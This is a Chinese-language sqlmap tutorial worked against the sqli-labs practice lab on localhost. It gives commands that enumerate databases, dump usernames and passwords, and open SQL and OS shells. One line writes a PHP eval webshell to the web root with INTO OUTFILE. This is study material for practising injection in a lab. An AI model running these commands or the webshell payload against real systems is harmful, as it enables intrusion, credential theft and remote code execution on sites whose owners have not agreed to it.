关于命令
1:--dbms=mysql (数据库为mysql) ———一般来说脚本为php,可以猜测是mysql数据库
如果数据库是sqlserver:--dbms=mssql ———如果脚本为aspx或者asp,可以猜测是mssql
2:--random-agent :是通过/usr/share/sqlmap/txt/user-agents.txt字典随机生成一个user-agent
(解释2: 使用任意浏览器进行绕过,尤其是在WAF配置不当的时候)
-- user-agnet:是手动指定一个user-angent
3:--flush-session 清除缓存
4:--level 3 --risk 2 (可视情况增加)加了后会跑得更全面
ps:level最高等级是5,risk最高等级为3,等级越高越全面,但速度会减慢
5:出数据:--current-db 查询当前数据库
-D security --tables 查询所有表
-D security -T users --columns 查询所有字段
-D security -T users -C username,password --dump 出数据
6,--is-dba 当前用户是否为管理员权限
7,--roles 列出数据库管理员角色
8,--sql-shell 执行mysql的一些命令,相当于navicat
9.辅助参数
--hex
--no-cast
10,--technique 判断是否有堆叠注入
使用测试
ps:此处以本机去测试
1,扫描漏洞——命令:python2 sqlmap.py -u http://127.0.0.1/sql/Less-2/?id=1 --dbms=mysql --random-agent
显示一下内容即成功:
ps:关于两个选项
pps:其余playload:python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 --dbms=mysql --random-agent --flush-session --level 3 --risk 2
2,出数据——命令:python2 sqlmap.py -u http://127.0.0.1/sql/Less-2/?id=1 --dbms=mysql --random-agent --current-db
根据查询出来的数据库,查询其他数据
命令:python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 --dbms=mysql --random-agent -D security --tables
命令:python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 --dbms=mysql --random-agent -D security -T users --columns
命令:python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 --dbms=mysql --random-agent -D security -T users -C username,password --dump
--sql-shell
1,必要条件:支持堆叠注入,要有写的权限
ps:判断堆叠注入命令:sqlmap --technique
2,命令:python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 --dbms=mysql --random-agent --sql-shell
3,如果符合必要条件:
【1】--sql-shell
【2】select "<?php @eval($_POST[1]);?>" into outfile "指定路径";
--os-shell
原理:生成一个木马( 就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下)
1,需要的条件:需要绝对路径+ssecure_file_priv不为NULL,需要dba权限
a)查询dba权限
命令:python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 --dbms=mysql --random-agent --is-dba
ps:TRUE 高权限,有一定的几率拿权限
b)查询是否为NULL
方法一:sql-shell/navicat处:select @@secure_file_priv
方法二:url处:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,@@secure_file_priv
pps:悲伤故事之:如果为null,大概率拿不到权限
2,选择过程
1.选择脚本
2.选择绝对路径
[1]已经罗列出来的绝对路径
[2]自定义的路径
[3]路径字典
[4]暴力破解
3,执行cmd命令
ps:如果为NULL
无法拿到权限